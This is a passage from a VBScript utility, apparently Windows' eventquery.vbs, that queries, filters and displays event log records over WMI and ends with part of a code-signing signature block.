ElseIf blnAND =TRUE Then
If k = 0 then
strTempFilter = strFilter
Else
strTempFilter = strTempFilter & " AND " & strFilter
End If
End If
Next
'Set again making single filter string element if blnOR is TRUE
If blnOR =TRUE or blnAND = True Then
'this "()" Add the order of precedence of operation is SQL
strFilter = "( " & strTempFilter & ")"
End If
'Here setting filter to main array
arrFilters(j) = strFilter
Next
ValidateFilters = TRUE
End Function
'********************************************************************
'* Function: ReplaceOperators
'*
'* Purpose: Replaces the operator in string form with its symbol
'*
'* Input:
'* [in] strFilterOperation the operation
'*
'* Output: Returns the symbolic operator
'* If invalid operator, displays error message and quits
'*
'********************************************************************
Private Function ReplaceOperators(ByVal strFilterOperation)
ON ERROR RESUME NEXT
Err.Clear
Select Case LCase(strFilterOperation)
Case L_OperatorEq_Text
ReplaceOperators = SYMBOL_OPERATOR_EQ
Case L_OperatorNe_Text
ReplaceOperators = SYMBOL_OPERATOR_NE
Case L_OperatorGe_Text
ReplaceOperators = SYMBOL_OPERATOR_GE
Case L_OperatorLe_Text
ReplaceOperators = SYMBOL_OPERATOR_LE
Case L_OperatorGt_Text
ReplaceOperators = SYMBOL_OPERATOR_GT
Case L_OperatorLt_Text
ReplaceOperators = SYMBOL_OPERATOR_LT
Case Else
' not a valid operator
component.vbPrintf L_Invalid_ErrorMessage, Array(strFilterOperation)
WScript.Quit(EXIT_INVALID_PARAM)
End Select
End Function
'********************************************************************
'* Sub : VerifyLogAndGetMaxRecords
'*
'* Purpose: populates the output array with count of records in given input array
'*
'* Input: [in] objService the WMI service object
'* [out] objLogs the object containing the logs & max count of records corresponding log
'*
'* Output: array's are populates with logfile names and its count of max records
'*
'********************************************************************
Private Sub VerifyLogAndGetMaxRecords(ByVal objService, _
ByRef objLogs)
ON ERROR RESUME NEXT
Err.Clear
Dim strTempQuery ' string to make query
Dim objEnumerator ' to get the collection object after query
Dim objInstance ' to refer to each instance of the results got
Dim i ' for initialing loop
Dim strLogFile ' used to store log file inside loop
Dim arrKeyName ' used to store key value of Dictionary object for processing loop
arrKeyName = objLogs.Keys
For i = 0 to objLogs.Count -1
strLogFile = arrKeyName(i)
If Not strLogFile = "*" Then
' Check if log file exists, by querying
strTempQuery = "SELECT NumberOfRecords FROM Win32_NTEventlogFile " &_
"WHERE LogfileName=" & Chr(34) & strLogFile & Chr(34)
Set objEnumerator = objService.ExecQuery(strTempQuery,,0)
If Err.Number Then
component.vbPrintf L_ExecuteQuery_ErrorMessage, Array(strLogFile)
WScript.Quit(EXIT_METHOD_FAIL)
End If
' check if given log is present
If ObjEnumerator.Count <> 1 Then
component.vbPrintf L_LogDoesNotExist_ErrorMessage, Array(strLogFile)
'If Count of Logs = 1 Quit Here
If objLogs.Count= 1 Then
WScript.Quit(EXIT_INVALID_INPUT)
End If
'If more proceed ..
objLogs.Remove(strLogFile)
Else
' get maximum number of records in that log(used if range specified)
For each objInstance in objEnumerator
If objInstance.NumberOfRecords <> "" Then
objLogs.Item(strLogFile) = objInstance.NumberOfRecords
Else
objLogs.Item(strLogFile) = 0
End If
Next
End If
Set ObjEnumerator = Nothing
End If
Next
If objLogs.Exists("*") Then
' if the * is specified, populate array with elements
objLogs.Remove("*")
' get the instances of the logs present in the system
Set objEnumerator = objService.InstancesOf(CLASS_EVENTLOG_FILE)
If Err.number Then
Wscript.Echo (L_InstancesFailed_ErrorMessage)
WScript.Quit(EXIT_METHOD_FAIL)
End If
' if no logs present
If objEnumerator.Count <= 0 Then
WScript.Echo (L_InfoNoLogsPresent_Message)
WScript.Quit(EXIT_UNEXPECTED)
Else
For Each objInstance In objEnumerator
If Not IsEmpty(objInstance.LogfileName) Then
If NOT objLogs.Exists(LCase(objInstance.LogfileName)) Then
If objInstance.NumberOfRecords Then
objLogs.Add LCase(objInstance.LogfileName), objInstance.NumberOfRecords
Else
objLogs.Add LCase(objInstance.LogfileName), 0
End If
End If
End If
Next
End If
End If
End Sub
'********************************************************************
'* Function: BuildFiltersForQuery
'*
'* Purpose: Builds the query with the filter arguments
'*
'* Input: [in] arrFilters the array containing the filter conditions
'*
'* Output: Returns the string to be concatenated to the main query
'*
'********************************************************************
Function BuildFiltersForQuery(ByVal arrFilters)
ON ERROR RESUME NEXT
Err.Clear
Dim strTempFilter ' to store the return string
Dim i ' used in loop
strTempFilter = ""
For i = 0 to UBound(arrFilters)
strTempFilter = strTempFilter & " AND "
strTempFilter = strTempFilter & arrFilters(i)
Next
BuildFiltersForQuery = strTempFilter
End Function
'********************************************************************
'* Function : BuildRangeForQuery
'*
'* Purpose: Builds the range boundaries to display the records.
'*
'* Input: [in] strRange ' the range specified by the user
'* Will be in the format N, -N or N-N
'* [in] intFiltersSpecified ' array containing the filters number
'* [in] objService ' the service object
'* [out] intRecordRangeFrom ' where do we start the display of records?
'* [out] intRecordRangeTo ' where do we stop displaying records
'* [out] strFilterLog ' log file to build query
'* [out] strQuery ' to build query according to given Range Type
'* Output: Sets the value for the start and end of display boundaries.
'*
'********************************************************************
Private Function BuildRangeForQuery(ByVal strRange, _
ByRef intRecordRangeFrom, _
ByRef intRecordRangeTo,_
ByVal intFiltersSpecified,_
ByRef strQuery,_
ByVal ObjService,_
ByVal strFilterLog )
ON ERROR RESUME NEXT
Err.Clear
Dim intMaxEventRecordsPresent ' to store the max recods in the log
Dim arrRangeValues ' to store the split values if range is of the type N-N
Dim objInstance ' to refer to the instances of the objEnumerator
Dim objEnumerator ' to store the results of the query is executed
Dim FilterRecordCount ' to store the count of records if filter with +N specified
FilterRecordCount = 0
BuildRangeForQuery = strquery 'intialize
Dim currentMaxRecordnumber 'curentMaxrecord number
Dim currentMinRecordnumber 'curentMinrecord number
currentMaxRecordnumber = 0
currentMinRecordnumber = 0
' save the max. no. of records available in the current log
intMaxEventRecordsPresent = intRecordRangeTo
' find the count of events / logfile if Filter is specified .
If intFiltersSpecified >= 0 Then
Set objEnumerator = objService.ExecQuery(strQuery,"WQL",0,null)
If Err.number Then
component.vbPrintf L_ExecuteQuery_ErrorMessage, Array(strFilterLog)
Exit Function
End if
FilterRecordCount= objEnumerator.count
Set objEnumerator= Nothing 'releases the memory
End If
' check the type of range specified ( first N / last N / N1 - N2 )
If ( IsNumeric(strRange) ) Then
' range is first N or last N
' now check whether it is first N or last N
If strRange < 0 Then
If intFiltersSpecified >= 0 Then
' first N records
' initial the counter so that all the out is displayed
If FilterRecordCount > CLng(Abs(strRange)) then
intRecordRangeFrom = FilterRecordCount - CLng(Abs(strRange)) + 1
intRecordRangeTo = FilterRecordCount
Else
intRecordRangeFrom = 0
intRecordRangeTo = FilterRecordCount
End If
Else
Set objEnumerator = objService.ExecQuery(strQuery,"WQL",48,null)
For Each objInstance In objEnumerator
currentMaxRecordnumber= objInstance.RecordNumber
Exit for
Next
If currentMaxRecordnumber > intMaxEventRecordsPresent then
currentMinRecordnumber = currentMaxRecordnumber - intMaxEventRecordsPresent
intMaxEventRecordsPresent = currentMaxRecordnumber
End If
Set objEnumerator= Nothing 'releases the memory
' N means record number <= N
' initial the counter s+o that all the out is displayed
' build the query
BuildRangeForQuery = strQuery & " AND RecordNumber <= "& CLng(Abs(strRange)) + currentMinRecordnumber
End If
Else
' *** range is last N (i.e -N)
If intFiltersSpecified >= 0 Then
If FilterRecordCount > CLng(Abs(strRange)) then
intRecordRangeFrom =0
intRecordRangeTo = CLng(Abs(strRange))
Else
intRecordRangeFrom =0
intRecordRangeTo = FilterRecordCount
End If
Else
Set objEnumerator = objService.ExecQuery(strQuery,"WQL",48,null)
'getting current max recordnumber
For Each objInstance In objEnumerator
currentMaxRecordnumber= objInstance.RecordNumber
Exit for
Next
If currentMaxRecordnumber > intMaxEventRecordsPresent then
currentMinRecordnumber = currentMaxRecordnumber - intMaxEventRecordsPresent
intMaxEventRecordsPresent = currentMaxRecordnumber
End If
Set objEnumerator= Nothing 'releases the memory
' -N means record number > (maxNumber - N )
' initial the counter so that all the out is displayed
' build the query
If CLng(Abs(strRange)) > intMaxEventRecordsPresent Then
'Show all records
BuildRangeForQuery =strQuery & " AND RecordNumber > 0 "
Else
BuildRangeForQuery =strQuery & " AND RecordNumber > " & intMaxEventRecordsPresent - CLng(Abs(strRange))
End If
End If
End If
Else
' range of records asked for N-N case
arrRangeValues = split(strRange,"-", 2, VBBinaryCompare)
If intFiltersSpecified >= 0 Then
If CLng(arrRangeValues(0)) < FilterRecordCount then
' initial the counter so that all the out is displayed
intRecordRangeFrom = CLng(arrRangeValues(0))
intRecordRangeTo = CLng(arrRangeValues(1))
Else
'forcebly putting the invaid query
'when N1 > FilterRecordCount to avoid unnessaray looping between intRecordRangeFrom TO intRecordRangeTo
BuildRangeForQuery =strQuery & " AND RecordNumber = 0 "
End If
Else
Set objEnumerator = objService.ExecQuery(strQuery,"WQL",48,null)
For Each objInstance In objEnumerator
currentMaxRecordnumber= objInstance.RecordNumber
Exit for
Next
If currentMaxRecordnumber > intMaxEventRecordsPresent then
currentMinRecordnumber = currentMaxRecordnumber - intMaxEventRecordsPresent
intMaxEventRecordsPresent = currentMaxRecordnumber
End If
Set objEnumerator= Nothing 'releases the memory
' build the query
BuildRangeForQuery =strQuery & " AND RecordNumber >= "& CLng(arrRangeValues(0))+ currentMinRecordnumber & " AND RecordNumber <= " & CLng(arrRangeValues(1)) + currentMinRecordnumber
End If
End If
End Function
'********************************************************************
'* Sub: ShowEvents
'*
'* Purpose: Displays the EventLog details
'*
'* Input:
'* [in] strMachine machine to query events from
'* [in] strUserName user name to connect to the machine
'* [in] strPassword <PASSWORD>
'* [in] arrFilters the array containing the filters
'* [in] strFormat the display format
'* [in] strRange the range of records required
'* [in] blnVerboseDisplay flag to verify if verbose display is needed
'* [in] blnNoHeader flag to verify if noheader display is needed
'* [in] objLogs to store all the given logfles
'* Output: Displays error message and quits if connection fails
'* Calls component.showResults() to display the event records
'*
'********************************************************************
Private Sub ShowEvents(ByVal strMachine, _
ByVal strUserName, _
ByVal strPassword, _
ByRef arrFilters, _
ByVal strFormat, _
ByVal strRange, _
ByVal blnVerboseDisplay, _
ByVal blnNoHeader,_
ByRef objLogs)
ON ERROR RESUME NEXT
Err.Clear
Dim objService ' the WMI service object
Dim objEnumerator ' to store the results of the query is executed
Dim objInstance ' to refer to the instances of the objEnumerator
Dim strFilterLog ' to refer to each log specified by the user
Dim strTemp ' to store the temporary variables
Dim strQuery ' to store the query obtained for given conditions
Dim arrResults ' to store the columns of each filter
Dim arrHeader ' to store the array header values
Dim arrMaxLength ' to store the maximum length for each column
Dim arrFinalResults ' used to send the arrResults to component.showResults()
Dim arrTemp ' to store temporary array values
Dim intLoopCount ' used in the loop
Dim intElementCount ' used as array subscript
Dim strFilterQuery ' to store the query for the given filters
Dim intResultCount ' used to count no of records that are fetched in the query
Dim blnPrintHeader ' used to check header is printed or not in resulted Query
' the following are used for implementing the range option
Dim intRecordRangeFrom ' to store the display record beginning number
Dim intRecordRangeTo ' to store the display record ending number
Dim arrKeyName ' to store then key value of dictionary object
Dim strTempQuery ' to store a string for -N range values
Dim arrblnDisplay ' array to show the status of display of verbose mode for showresults function
Dim intDataCount ' used in looping to get value of Insertion string for the field "Description column"
Dim i ' used for looping to enable All special privileges
Dim objDateTimeObject ' Object to get the date and time in the current locale/calender format.
' flag to set condition specific locale & default value setting
Dim bLocaleChanged
bLocaleChanged =FALSE
'Validating the arguments which are passed from commandline
If NOT (ValidateArguments(strMachine, strUserName, strPassword, _
arrFilters, strFormat, strRange , blnNoHeader)) Then
WScript.Quit(EXIT_UNEXPECTED)
End If
' checking for UNC format (\\machine) for the system name
If Left(strMachine,2) = UNC_Format_Servername Then
If Len(strMachine) = 2 Then
component.vbPrintf InvalidInputErrorMessage ,Array(Wscript.ScriptName)
WScript.Quit(EXIT_UNEXPECTED)
End if
strMachine = Mid(strMachine,3,Len(strMachine))
End If
'getting the password ....
If ((strUserName <> VBEmpty) AND ((strPassword = VBEmpty) OR (strPassword = "*")))Then
strPassword = component.getPassword()
End If
' To set GetSupportedUserLocale for Some Diff locales
bLocaleChanged =GetSupportedUserLocale()
'Establish a connection with the server.
If NOT component.wmiConnect(CONST_NAMESPACE_CIMV2 , _
strUserName , _
strPassword , _
strMachine , _
blnLocalConnection , _
objService ) Then
Wscript.Echo(L_HintCheckConnection_Message)
WScript.Quit(EXIT_METHOD_FAIL)
End If
' set the previlige's To query all event's in eventlog's .
objService.Security_.Privileges.AddAsString("SeSecurityPrivilege")
'Enable all privileges as some DC's were requiring special privileges
For i = 1 to 26
objService.Security_.Privileges.Add(i)
Next
' get the HostName from the function
strMachine = component.getHostName( objService)
' Validating the Filter which is passed from commandline
If UBound(arrFilters) >= 0 Then
' filters are specified. Validate them
If Not ValidateFilters(arrFilters,objService ) Then
WScript.Quit(EXIT_INVALID_INPUT)
End If
End If
blnPrintHeader = TRUE
If blnNoHeader Then
blnPrintHeader = FALSE
End If
' Initialize - header to display, the maximum length of each column and
' number of columns present
arrHeader = Array(L_ColHeaderType_Text,L_ColHeaderEventcode_Text, L_ColHeaderDateTime_Text,_
L_ColHeaderSource_Text,L_ColHeaderComputerName_Text)
' first initialize the array with N/A
arrResults = Array(L_TextNa_Text,L_TextNa_Text,L_TextNa_Text,L_TextNa_Text,L_TextNa_Text,L_TextNa_Text,_
L_TextNa_Text,L_TextNa_Text)
arrMaxLength = Array(L_ColHeaderTypeLength_Text,L_ColHeaderEventcodeLength_Text, L_ColHeaderDateTimeLength_Text,_
L_ColHeaderSourceLength_Text, L_ColHeaderComputerNameLength_Text, L_ColHeaderCategoryLength_Text,_
L_ColHeaderUserLength_Text, L_ColHeaderDesriptionLength_Text)
arrblnDisplay = Array(0, 0, 0, 0, 0, 1, 1, 1)
If blnVerboseDisplay Then
arrblnDisplay = Array(0, 0, 0, 0, 0, 0, 0,0)
arrHeader = Array( L_ColHeaderType_Text,L_ColHeaderEventcode_Text, L_ColHeaderDateTime_Text, _
L_ColHeaderSource_Text,L_ColHeaderComputerName_Text,L_ColHeaderCategory_Text,_
L_ColHeaderUser_Text, L_ColHeaderDesription_Text)
End IF
If UBound(arrFilters) >=0 Then
strFilterQuery = BuildFiltersForQuery(arrFilters)
End If
' call function to verify given log and also get records count in log
Call VerifyLogAndGetMaxRecords(objService, objLogs)
arrKeyName = objLogs.Keys
intResultCount = 0
intLoopCount = 0
' not to display any blank line for CSV format
If Not ( Lcase(strFormat) = Lcase(Const_Csv_Format_Text)) Then
' blank line before first data is displayed on console
WScript.Echo EmptyLine_Text
End If
Do While (intLoopCount < objLogs.Count)
'setting Header to print every Log file explicilty
If blnNoHeader Then
blnPrintHeader = FALSE
Else
blnPrintHeader = TRUE
End If
If CLng(objLogs.Item(arrKeyName(intLoopCount))) > 0 Then
strFilterLog = arrKeyName(intLoopCount)
intRecordRangeFrom = 0
intRecordRangeTo = CLng(objLogs.Item(arrKeyName(intLoopCount)))
' build the query
strQuery = "Select * FROM Win32_NTLogEvent WHERE Logfile=" &_
Chr(34) & strFilterLog & Chr(34)
If UBound(arrFilters) >=0 Then
strQuery = strQuery & strFilterQuery
End If
If Len(Trim(CStr(strRange))) > 0 Then
' building again query for -N condition in range switch
strQuery = BuildRangeForQuery(strRange,intRecordRangeFrom, _
intRecordRangeTo, UBound(arrFilters),strQuery,objService,strFilterLog)
End If
' process the results, else go for next log
Set objEnumerator = objService.ExecQuery(strQuery,"WQL",48,null)
If Err.Number Then
component.vbPrintf L_ExecuteQuery_ErrorMessage, Array(strFilterLog)
' if error occurred in the query, go for next log
intLoopCount = intLoopCount + 1
Err.clear ' for next loop if more logs present
Else
intElementCount = 0
' Create DateTimeObject to get the date and time in user specific format.
Set objDateTimeObject = CreateObject("ScriptingUtils.DateTimeObject")
If Err.Number Then
component.vbPrintf L_ComponentNotFound_ErrorMessage, Array("ScriptingUtils.DateTimeObject")
WScript.Quit(EXIT_METHOD_FAIL)
End If
ReDim arrFinalResults(CONST_ARRAYBOUND_NUMBER)
For each objInstance in objEnumerator
' inside error trapping for most unexpected case...
If Err.number then Exit For
intResultCount = intResultCount + 1
'print the header for each log file along with Host Name
'important:: if and only if we have Data
If intResultCount = 1 Then
' not to display any header for CSV format
If NOT ( Lcase(strFormat) = Lcase(Const_Csv_Format_Text)) Then
WScript.Echo(String(78,"-"))
component.vbPrintf L_InfoDisplayLog_Message ,Array(strFilterLog,strMachine)
WScript.Echo(String(78,"-"))
End If
End If
' check whether the current record is fitting
' within the required range
If ( intResultCount >= intRecordRangeFrom ) And _
( intResultCount <= intRecordRangeTo ) Then
' record fitting the range ... this has to be displayed
If objInstance.Type <> "" Then
arrResults(0) = objInstance.Type
Else
arrResults(0) = L_TextNa_Text
End If
If objInstance.EventCode <> "" Then
arrResults(1) = objInstance.EventCode
Else
arrResults(1) = L_TextNa_Text
End If
If (NOT IsEmpty(objInstance.TimeGenerated)) Then
strTemp = objInstance.TimeGenerated
'is LOCALE CHANGED
If bLocaleChanged <> TRUE Then
'format DatTime as DATE & "Space" & TIME
' Use new sriptutil library dll version instead
arrResults(2) = objDateTimeObject.GetDateAndTime(strTemp)
Else
arrResults(2) = Mid(strTemp,5,2) & "/" & Mid(strTemp,7,2) & "/" &_
Mid(strTemp,1,4) & " " & Mid(strTemp,9,2) & ":" &_
Mid(strTemp,11,2) & ":" & Mid(strTemp,13,2)
End If
Else
arrResults(2) = L_TextNa_Text
End If
If objInstance.SourceName <> "" Then
arrResults(3) = objInstance.SourceName
Else
arrResults(3) = L_TextNa_Text
End If
If objInstance.ComputerName <> "" Then
arrResults(4) =objInstance.ComputerName
Else
arrResults(4) = L_TextNa_Text
End If
If blnVerboseDisplay Then
If objInstance.CategoryString <> "" Then
arrResults(5) = Replace(objInstance.CategoryString, VbCrLf, "")
Else
arrResults(5) = L_TextNone_Text ' None display
End If
If (NOT IsNull(objInstance.User)) Then
arrResults(6) = objInstance.User
Else
arrResults(6) = L_TextNa_Text
End If
If objInstance.Message <> "" Then
arrResults(7) = Trim(Replace(Replace(objInstance.Message, VbCrLf, " "),VbCr," "))
Else
'Check whether either value is present in "InsertionStrings" column .
If (NOT IsNull(objInstance.InsertionStrings)) Then
arrTemp = objInstance.InsertionStrings
'removing default value "N/A"
arrResults(7)= ""
For intDataCount = 0 to UBound(arrTemp)
arrResults(7) = arrResults(7) & " " & Trim(Replace(Replace(arrTemp(intDataCount), VbCrLf, " ") ,VbCr," "))
Next
arrResults(7) = Trim(arrResults(7))
Else
arrResults(7) = L_TextNa_Text
End If
End If
End If
' add the record to the queue of records that has to be displayed
arrFinalResults( intElementCount ) = arrResults
intElementCount = intElementCount + 1 ' increment the buffer
' check whether the output buffer is filled and ready for display
' onto the screen or not
If intElementCount = CONST_ARRAYBOUND_NUMBER +1 Then
' Disable error handler for any broken pipe can catch by HOST
On Error GoTo 0
' Call the display function with required parameters
Call component.showResults(arrHeader, arrFinalResults, arrMaxLength, _
strFormat, blnPrintHeader, arrblnDisplay)
blnPrintHeader = FALSE
' Enable error handler
On Error Resume Next
Redim arrFinalResults(CONST_ARRAYBOUND_NUMBER) ' clear the existing buffer contents
intElementCount = 0 ' reset the buffer start
End If
End If
' check whether the last record number that has to be displayed is
' crossed or not ... if crossed exit the loop without proceeding further
If ( intResultCount >= intRecordRangeTo ) Then
' max. TO range is crossed/reached ... no need of further looping
Exit For
End If
Next
' Release the component as we dont need it any more.
Set objDateTimeObject = Nothing
' check whether there any pending in the output buffer that has to be
' displayed
If intElementCount > 0 Then
' resize the array so that the buffer is shrinked to its content size
ReDim Preserve arrFinalResults( intElementCount - 1 )
' Disable error handler for any broken pipe can catch by HOST
On Error GoTo 0
' Call the display function with required parameters
Call component.showResults(arrHeader, arrFinalResults, arrMaxLength, _
strFormat, blnPrintHeader, arrblnDisplay)
' Enable error handler
On Error Resume Next
Else ' array bounds checking
If intResultCount = 0 Then
'ie no records found
If UBound(arrFilters) >= 0 OR Len(Trim(CStr(strRange))) > 0 Then
' message no records present if filter specified
component.vbPrintf L_InfoNoRecordsInFilter_Message, Array(strFilterLog)
Else
'message no records present if filter not specified
component.vbPrintf L_InfoNoRecords_Message, Array(strFilterLog)
End If
End If ' intResultCount = 0
End If ' array bounds checking
End If
Else
'message no records present
component.vbPrintf L_InfoNoRecords_Message, Array(arrKeyName(intLoopCount))
' to print any blank line for LIST format if no records present
If (Lcase(strFormat) = Lcase(Const_LIST_Format_Text)) AND (intLoopCount < objLogs.Count )Then
' blank line before end of the Next Each Log file details
WScript.Echo EmptyLine_Text
END If
End If
' re-initialize all the needed variables
intResultCount = 0
Set objEnumerator = Nothing
intLoopCount = intLoopCount + 1
' display blank line for next log except List format
If ( Lcase(strFormat) <> Lcase(Const_LIST_Format_Text)) Then
If (intLoopCount < objLogs.Count) then
' blank line before end of the Next Each Log file details
WScript.Echo EmptyLine_Text
End If
End If
Loop ' do-while
End Sub
'********************************************************************
'* Function: GetSupportedUserLocale
'*
'* Purpose:This function checks if the current locale is supported or not.
'*
'* Output: Returns TRUE or FALSE
'*
'********************************************************************
Private Function GetSupportedUserLocale()
ON ERROR RESUME NEXT
Err.Clear
GetSupportedUserLocale =FALSE
CONST LANG_ARABIC = &H01
CONST LANG_HEBREW = &H0d
CONST LANG_HINDI = &H39
CONST LANG_TAMIL = &H49
CONST LANG_THAI = &H1e
CONST LANG_VIETNAMESE = &H2a
' extract primary language id from a language id
' i.e. PRIMARYLANGID(lgid) ((WORD )(lgid) & 0x3ff)
' const for bitwise operation
CONST SUBID = 1023 '0x3ff
Dim Lcid ' to store LocaleId
Dim PrimarylangId ' to store PRIMARYLANGID
' get the current locale
Lcid=GetLocale()
' Convert LCID >>>>>>>>>>>>> PRIMARYLANGID
' BIT Wise And Operation
' formating to compare HEX Value's
PrimarylangId = Hex ( Lcid AND SUBID)
' check whether the current locale is supported by our tool or not
' if not change the locale to the English which is our default locale
Select Case PrimarylangId
' here to check the values
Case Hex(LANG_ARABIC),Hex(LANG_HEBREW),Hex(LANG_THAI) ,Hex(LANG_HINDI ),Hex(LANG_TAMIL) ,Hex(LANG_VIETNAMESE)
GetSupportedUserLocale =TRUE
Exit Function
End Select
End Function
' ****************************************************************************************
'* Function : IsWinXP
'*
'* Purpose:This function checks if the OS is Windows XP or newer.
'*
'* Input: [in] Objservice the service object
'* Output: Returns TRUE or FALSE
'*
' ****************************************************************************************
Private Function IsWinXP ( ByVal objService)
ON ERROR RESUME NEXT
Err.Clear
CONST WIN2K_MAJOR_VERSION = 5000
CONST WINXP_MAJOR_VERSION = 5001
Dim strQuery ' to store the query to be executed
Dim objEnum ' collection object
Dim objInstance ' instance object
Dim strVersion ' to store the OS version
Dim arrVersionElements ' to store the OS version elements
Dim CurrentMajorVersion ' the major version number
ISWinXP= FALSE
strQuery = "Select * From Win32_operatingsystem"
Set objEnum = objService.ExecQuery(strQuery,"WQL",0,NULL)
For each objInstance in objEnum
strVersion= objInstance.Version
Next
' OS Version : 5.1.xxxx(Windows XP), 5.0.xxxx(Windows 2000)
arrVersionElements = split(strVersion,".")
' converting to major version
CurrentMajorVersion = arrVersionElements(0) * 1000 + arrVersionElements(1)
' Determine the OS Type
' WinXP > Win2K
If CInt(CurrentMajorVersion) >= CInt(WINXP_MAJOR_VERSION) Then
IsWinXP= TRUE
End If
End Function
' ****************************************************************************************
'* Function : ExpandEnvironmentString()
'*
'* Purpose:This function Expands the Environment Variables
'*
'* Input: [in] strOriginalString the string need to expand for EnvironmentsettingValue
'* Output: Returns ExpandedEnvironmentString
'*
' ****************************************************************************************
Private Function ExpandEnvironmentString( ByVal strOriginalString)
ON ERROR RESUME NEXT
Err.Clear
Dim ObjWshShell ' Object to hold Shell
'create the shell object
Set ObjWshShell = CreateObject("WScript.Shell")
If Err.Number Then
component.vbPrintf L_ComponentNotFound_ErrorMessage, Array("WScript.Shell")
WScript.Quit(EXIT_METHOD_FAIL)
End If
'return the string
ExpandEnvironmentString= ObjWshShell.ExpandEnvironmentStrings(strOriginalString)
End Function
'********************************************************************
'* Sub: ShowUsage
'*
'* Purpose: Shows the correct usage to the user.
'*
'* Output: Help messages are displayed on screen.
'*
'********************************************************************
Private Sub ShowUsage ()
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine01_Text
WScript.Echo L_ShowUsageLine02_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine03_Text
WScript.Echo L_ShowUsageLine04_Text
WScript.Echo L_ShowUsageLine05_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine06_Text
WScript.Echo L_ShowUsageLine07_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine08_Text
WScript.Echo L_ShowUsageLine09_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine10_Text
WScript.Echo L_ShowUsageLine11_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine12_Text
WScript.Echo L_ShowUsageLine13_Text
WScript.Echo L_ShowUsageLine14_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine15_Text
WScript.Echo L_ShowUsageLine16_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine17_Text
WScript.Echo L_ShowUsageLine18_Text
WScript.Echo L_ShowUsageLine19_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine20_Text
WScript.Echo L_ShowUsageLine21_Text
WScript.Echo L_ShowUsageLine22_Text
WScript.Echo L_ShowUsageLine23_Text
WScript.Echo L_ShowUsageLine24_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine25_Text
WScript.Echo L_ShowUsageLine26_Text
WScript.Echo L_ShowUsageLine27_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine28_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine29_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine30_Text
WScript.Echo L_ShowUsageLine31_Text
WScript.Echo L_ShowUsageLine32_Text
WScript.Echo L_ShowUsageLine33_Text
WScript.Echo L_ShowUsageLine34_Text
WScript.Echo L_ShowUsageLine35_Text
WScript.Echo L_ShowUsageLine36_Text
WScript.Echo L_ShowUsageLine37_Text
WScript.Echo L_ShowUsageLine38_Text
WScript.Echo L_ShowUsageLine39_Text
WScript.Echo L_ShowUsageLine40_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine41_Text
WScript.Echo L_ShowUsageLine42_Text
WScript.Echo EmptyLine_Text
WScript.Echo L_ShowUsageLine43_Text
WScript.Echo L_ShowUsageLine44_Text
WScript.Echo L_ShowUsageLine45_Text
WScript.Echo L_ShowUsageLine46_Text
WScript.Echo L_ShowUsageLine47_Text
WScript.Echo L_ShowUsageLine48_Text
WScript.Echo L_ShowUsageLine49_Text
WScript.Echo L_ShowUsageLine50_Text
WScript.Echo L_ShowUsageLine51_Text
WScript.Echo L_ShowUsageLine52_Text
WScript.Echo L_ShowUsageLine53_Text
WScript.Echo L_ShowUsageLine54_Text
WScript.Echo L_ShowUsageLine55_Text
End Sub
'-----------------------------------------------------------------------------
' End of the Script
'-----------------------------------------------------------------------------
'' SIG '' Begin signature block
'' SIG '' MIIaLwYJKoZIhvcNAQcCoIIaIDCCGhwCAQExDjAMBggq
'' SIG '' hkiG9w0CBQUAMGYGCisGAQQBgjcCAQSgWDBWMDIGCisG
'' SIG '' AQQBgjcCAR4wJAIBAQQQTvApFpkntU2P5azhDxfrqwIB
'' SIG '' AAIBAAIBAAIBAAIBADAgMAwGCCqGSIb3DQIFBQAEELmj
'' SIG '' QQS0Y3CEMHawptKqDgegghS8MIICvDCCAiUCEEoZ0jiM
'' SIG '' glkcpV1zXxVd3KMwDQYJKoZIhvcNAQEEBQAwgZ4xHzAd
'' SIG '' BgNVBAoTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxFzAV
'' SIG '' BgNVBAsTDlZlcmlTaWduLCBJbmMuMSwwKgYDVQQLEyNW
'' SIG '' ZXJpU2lnbiBUaW1lIFN0YW1waW5nIFNlcnZpY2UgUm9v
'' SIG '' dDE0MDIGA1UECxMrTk8gTElBQklMSVRZIEFDQ0VQVEVE
'' SIG '' LCAoYyk5NyBWZXJpU2lnbiwgSW5jLjAeFw05NzA1MTIw
'' SIG '' MDAwMDBaFw0wNDAxMDcyMzU5NTlaMIGeMR8wHQYDVQQK
'' SIG '' ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMRcwFQYDVQQL
'' SIG '' Ew5WZXJpU2lnbiwgSW5jLjEsMCoGA1UECxMjVmVyaVNp
'' SIG '' Z24gVGltZSBTdGFtcGluZyBTZXJ2aWNlIFJvb3QxNDAy
'' SIG '' BgNVBAsTK05PIExJQUJJTElUWSBBQ0NFUFRFRCwgKGMp
'' SIG '' OTcgVmVyaVNpZ24sIEluYy4wgZ8wDQYJKoZIhvcNAQEB
'' SIG '' BQADgY0AMIGJAoGBANMuIPBofCwtLoEcsQaypwu3EQ1X
'' SIG '' 2lPYdePJMyqy1PYJWzTz6ZD+CQzQ2xtauc3n9oixncCH
'' SIG '' Jet9WBBzanjLcRX9xlj2KatYXpYE/S1iEViBHMpxlNUi
'' SIG '' WC/VzBQFhDa6lKq0TUrp7jsirVaZfiGcbIbASkeXarSm
'' SIG '' NtX8CS3TtDmbAgMBAAEwDQYJKoZIhvcNAQEEBQADgYEA
'' SIG '' YVUOPnvHkhJ+ERCOIszUsxMrW+hE5At4nqR+86cHch7i
'' SIG '' We/MhOOJlEzbTmHvs6T7Rj1QNAufcFb2jip/F87lY795
'' SIG '' aQdzLrCVKIr17aqp0l3NCsoQCY/Os68olsR5KYSS3P+6
'' SIG '' Z0JIppAQ5L9h+JxT5ZPRcz/4/Z1PhKxV0f0RY2MwggQC
